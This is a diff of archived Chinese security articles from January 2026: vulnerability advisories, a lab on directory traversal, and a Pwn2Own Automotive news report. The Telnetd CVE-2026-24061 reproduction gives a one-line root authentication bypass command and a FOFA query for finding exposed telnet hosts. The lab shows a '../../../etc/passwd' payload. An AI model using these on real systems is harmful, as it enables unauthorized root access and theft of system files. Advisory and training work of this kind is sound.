4.[【免杀】原来SQL注入也可以绕过杀软执行shellcode上线CoblatStrike](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489950&idx=1&sn=a54e05e31a2970950ad47800606c80ff&chksm=c0e2b221f7953b37b5d7b1a8e259a440c1ee7127d535b2c24a5c6c2f2e773ac2a4df43a55696&scene=21&token=458856676&lang=zh_CN#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# 思迅商旗收银系统 PayConfig 存在SQL注入漏洞
|
||||
原创 aa
|
||||
aa Anonymous安全实验室 2026-01-26 00:28
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响组件**
|
||||
|
||||
思迅商旗收银系统
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
思迅商旗商业管理系统 PayConfig 接口存在SQL注入漏洞，攻击者可利用该漏洞获取数据或者恶意执行的语句，造成泄露风险。
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**修复建议**
|
||||
|
||||
安装长亭雷池拦截，及时升级至最新版本。
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
巡
|
||||
星
|
||||
平台
|
||||
|
||||
|
||||
|
||||
|
||||
平台使用说明：
|
||||
https://ruisika.github.io/xunxing/intro/
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
# 某次内部行业渗透测试&攻防演练多个系统从资产打点到RCE漏洞
|
||||
原创 神农Sec
|
||||
神农Sec 神农Sec 2026-01-25 02:49
|
||||
Say Sec 2026-01-26 01:00
|
||||
|
||||
扫码加圈子
|
||||
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
# 漏洞复现 | GNU InetUtils Telnetd 远程认证绕过漏洞（CVE-2026-24061）【附批量检查脚本】
|
||||
实战安全研究 2026-01-26 01:00
|
||||
|
||||
**免责声明**
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"><td valign="top" style="-webkit-tap-highlight-color: transparent;outline: 0px;word-break: break-all;hyphens: auto;visibility: visible;"><span style="color: rgb(255, 0, 0);letter-spacing: 0.544px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;visibility: visible;font-size: 14px;"><span leaf="">本文仅用于技术学习和安全研究，请勿使用本文所提供的内容及相关技术从事非法活动，由于传播和利用此文所提供的内容或工具而造成任何直接或间接的损失后果，均由使用者本人承担，所产生一切不良后果与文章作者及本账号无关。如内容有争议或侵权，请私信我们！我们会立即删除并致歉。谢谢！</span></span></td></tr></tbody></table>
|
||||
1
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
|
||||
GNU Inetutils Telnetd 中存在一个远程认证绕过漏洞，攻击者可通过设置USER环境变量为"-f root"实现远程认证绕过，从而在无需密码的情况下，以root权限登陆远程服务器。
|
||||
此漏洞无须用户权限，攻击者成功利用此漏洞可绕过认证，以root权限远程登录服务器。
|
||||
|
||||
2
|
||||
|
||||
**影响版本**
|
||||
|
||||
|
||||
|
||||
1.9.3 <= version <= 2.7
|
||||
|
||||
3
|
||||
|
||||
**fofa语法**
|
||||
|
||||
|
||||
|
||||
fofa语法
|
||||
```
|
||||
port="23" && protocol="telnet"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
4
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
执行命令
|
||||
|
||||
env USER='-f root' telnet -a 127.0.0.1 23
|
||||
|
||||
|
||||
|
||||
|
||||
5
|
||||
|
||||
**批量检测脚本**
|
||||
|
||||
|
||||
|
||||
支持跨平台（Linux/Windows/macOS）使用
|
||||
|
||||
|
||||
|
||||
Windows
|
||||
|
||||
|
||||
|
||||
Linux
|
||||
|
||||
|
||||
|
||||
关注公众号
|
||||
回复关键字【
|
||||
CVE-2026-24061
|
||||
】获取
|
||||
下载链接
|
||||
|
||||
|
||||
6
|
||||
|
||||
**漏洞修复**
|
||||
|
||||
|
||||
1、建议联系厂商打补丁或升级版本。
|
||||
|
||||
2、增加Web应用防火墙防护。
|
||||
|
||||
3、关闭互联网暴露面或接口设置访问权限。
|
||||
|
||||
7
|
||||
|
||||
**内部圈子**
|
||||
|
||||
|
||||
**现在已更新POC数量 1750+（中危以上）**
|
||||
|
||||
|
||||
🔥 **1day/Nday 漏洞实战圈上线**
|
||||
🔥
|
||||
|
||||
还在到处找公开漏洞 POC？
|
||||
|
||||
这里专注整合全网1day/Nday漏洞POC和复现，一站式解决你的痛点！
|
||||
|
||||
🔍
|
||||
圈子福利
|
||||
|
||||
✅ 整合全网 1day/Nday 漏洞POC，附带复现步骤，新手也能快速上手
|
||||
|
||||
✅ 每周更新 10-15 个POC测试脚本，经过实测验证，到手就能用
|
||||
|
||||
✅ 完美适配 Nuclei/Afrog 扫描工具，脚本无需额外修改，即拿即用
|
||||
|
||||
✅ 重磅福利：免登录免费 FOFA 查询，无需账号也能高效资产测绘
|
||||
|
||||
✅ 专属权益：提供指纹识别库，指纹库持续更新
|
||||
|
||||
💡
|
||||
适合对象
|
||||
|
||||
渗透测试🔹攻防演练🔹安全运维🔹企业自查
|
||||
🔹SRC漏洞挖掘
|
||||
|
||||
⚠️
|
||||
重要提醒
|
||||
|
||||
仅限授权范围内的合法安全测试，严禁用于未授权攻击行为！
|
||||
|
||||
本服务为虚拟资源服务，一经购买概不退款，请按需谨慎购买！
|
||||
|
||||
现在加入圈子价格是59.9元（
|
||||
交个朋友啦
|
||||
），后面将调整涨价啦。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# 漏洞预警 | D-Link DIR-868L远程代码执行漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-01-26 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2025-63932
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
友讯DIR-868L是友讯D-Link品牌旗下旗舰级双频千兆云路由器。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**CVE-2025-63932**
|
||||
|
||||
**漏洞类型：**
|
||||
远程代码执行****
|
||||
|
||||
**影响：**
|
||||
接管路由器
|
||||
|
||||
**简述：**
|
||||
D-Link DIR-868L A1固件FW106KRb01.bin的cgibin二进制文件存在未授权远程代码执行漏洞，由于其cgibin提供的HNAP服务未对HTTP SOAPAction头部字段进行过滤，未授权的远程攻击者可通过该漏洞执行任意shell命令。
|
||||
|
||||
**0x04 影响版本**
|
||||
- D-Link DIR-868L A1
|
||||
|
||||
- D-Link dir-868l_firmware fw106krb01
|
||||
|
||||
**0x05 POC状态**
|
||||
- 已公开
|
||||
|
||||
****
|
||||
**0x06 修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://www.dlink.com/
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 漏洞预警 | 孚盟云SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-01-23 00:01
|
||||
浅安 浅安安全 2026-01-26 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@@ -25,7 +25,7 @@ SQL注入
|
||||
|
||||
**简述：**
|
||||
孚盟云的
|
||||
/m/Dingding/Ajax/AjaxCustomizeReport.ashx
|
||||
/m/Dingding/Ajax/AjaxFormDefault.ashx
|
||||
接口存在SQL注入漏洞，攻击者可通过伪造cookie获取系统访问权限，进而该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 漏洞预警 | 金和OA SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-01-23 00:01
|
||||
浅安 浅安安全 2026-01-26 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@@ -25,7 +25,7 @@ SQL注入
|
||||
|
||||
**简述：**
|
||||
金和OA协同办公管理系统C6软件的
|
||||
/c6/Jhsoft.Web.govsetaip/GovDel.aspx/
|
||||
/c6/Jhsoft.Web.groups/isCheckXml.aspx/
|
||||
接口存在SQL注入漏洞，
|
||||
未经身份验证的
|
||||
攻击者可以通过该漏洞执行任意SQL语句，从而获取数据库敏感信息。
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# 网安实验干货每日分享目录遍历漏洞-0126
|
||||
原创 建哥聊安全
|
||||
建哥聊安全 建哥聊安全 2026-01-26 01:16
|
||||
|
||||
# 目录遍历
|
||||
## 实验目的
|
||||
|
||||
通过本实验，掌握目录遍历漏洞的原理以及危害。
|
||||
## 实验环境
|
||||
|
||||
·
|
||||
操作机：
|
||||
Win10
|
||||
|
||||
用户名：
|
||||
Administrator
|
||||
|
||||
密码：
|
||||
Sangfor!7890
|
||||
|
||||
·
|
||||
靶机：
|
||||
Apache + PHP
|
||||
|
||||
·
|
||||
实验地址：
|
||||
http://ip
|
||||
## 实验原理
|
||||
|
||||
目录遍历也称目录穿越，是一个常见的
|
||||
Web安全漏洞，攻击者可以利用该漏洞可以读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据，后端系统的登录信息以及敏感的操作系统文件。
|
||||
|
||||
该漏洞最大的危害是能够让任意用户访问系统的敏感文件，继而攻陷整个服务器。
|
||||
## 实验步骤
|
||||
|
||||
1、登录"Attack"操作机，打开浏览器，访问http://ip，返回文件列表信息，说明存在目录遍历漏洞
|
||||
|
||||
|
||||
|
||||
2、任意点开文件或者文件夹，发现都可以打开
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
3、访问http://ip/include.php，页面一片空白；然后再访问http://ip/include.php?page=，页面仍然空白
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
4、打开桌面的的“Burp”文件夹，双击“BURP.cmd”启动Burp Suite抓包工具
|
||||
|
||||
|
||||
|
||||
|
||||
5、切换到“Proxy”代理模块的“Options”，查看Bp的代理
|
||||
|
||||
|
||||
|
||||
6、切换到浏览器，选择火狐插件中的代理（配置浏览器的的代理），与Bp的代理一致
|
||||
|
||||
|
||||
|
||||
7、刷新页面，重新发送请求，开始抓包
|
||||
|
||||
|
||||
|
||||
8、右键选择“Send to Repeater”或者“Ctrl+R”，将数据包发送到Repeater模块
|
||||
|
||||
|
||||
|
||||
9、切换到Repeater模块，利用“…/”构造page参数为“…/…/…/etc/passwd”，/var/www/html/…/…/…/etc/passwd的效果等同于/etc/passwd
|
||||
|
||||
|
||||
|
||||
10、点击“Send”，发送构造的数据包，响应包显示/etc/passwd文件内容，实现目录穿越
|
||||
|
||||
|
||||
|
||||
|
||||
## 实验总结
|
||||
|
||||
通过本实验，掌握目录遍历漏洞的的验证方法、漏洞原理、漏洞利用以及漏洞危害，深入了解目录遍历漏洞。
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
# 黑客在 Pwn2Own Automotive 2026 大会上利用 76 个零日漏洞获得 1,047,000 美元奖金
|
||||
原创 ZM
|
||||
ZM 暗镜 2026-01-25 16:00
|
||||
|
||||
Pwn2Own Automotive 2026 已结束，安全研究人员在 1 月 21 日至 1 月 23 日期间利用了 76 个零日漏洞，获得了 1,047,000 美元的奖金。
|
||||
|
||||
Pwn2Own Automotive 黑客大赛专注于汽车技术，本周在日本东京举行的Automotive World汽车大会上举行。
|
||||
|
||||
在整个比赛过程中，黑客们的目标是完全打好补丁的车载信息娱乐系统 (IVI)、电动汽车 (EV) 充电器和汽车操作系统（例如，汽车级 Linux）。
|
||||
|
||||
在趋势科技的零日漏洞修复计划公开披露这些漏洞之前，供应商有 90 天的时间来开发和发布针对 Pwn2Own 竞赛期间被利用和报告的零日漏洞的安全修复程序。
|
||||
|
||||
Fuzzware.io 团队赢得了Pwn2Own Automotive 2026 大赛，获得了 215,000 美元的现金奖励，DDOS 团队获得 100,750 美元，Synactiv 团队获得 85,000 美元。
|
||||
|
||||
|
||||
|
||||
第一天，Fuzzware.io 就通过破解 Alpitronic HYC50 充电站、Autel 充电器和 Kenwood DNR1007XR 导航接收器，总共赚取了 118,000 美元。
|
||||
|
||||
他们还在第二天因在 Phoenix Contact CHARX SEC-3150 充电控制器、ChargePoint Home Flex EV 充电器和 Grizzl-E Smart 40A EV 充电站中演示了多个零日漏洞而获得了 95,000 美元的奖励，并在比赛的最后一天因尝试 root Alpine iLX-F511 多媒体接收器时发生漏洞碰撞而获得了额外的 2,500 美元奖励。
|
||||
|
||||
Synacktiv 团队在 Pwn2Own 的第一天，利用越界写入漏洞和信息泄露漏洞，通过 USB 攻击入侵了特斯拉信息娱乐系统，并获得了 35,000 美元的奖金。
|
||||
|
||||
第三天的完整赛程和每项挑战的结果可在此处查看，而 Pwn2Own Automotive 2026 的完整赛程可在此处查看。
|
||||
|
||||
在Pwn2Own Automotive 2024 大赛中，黑客们通过演示 49 个零日漏洞并两次入侵特斯拉汽车，赢得了 1,323,750 美元的奖金。去年，安全研究人员在Pwn2Own Automotive 2025 大赛中利用 49 个零日漏洞，获得了 886,250 美元的奖金。
|
||||
|
||||
|
||||
Reference in new issue
Block a user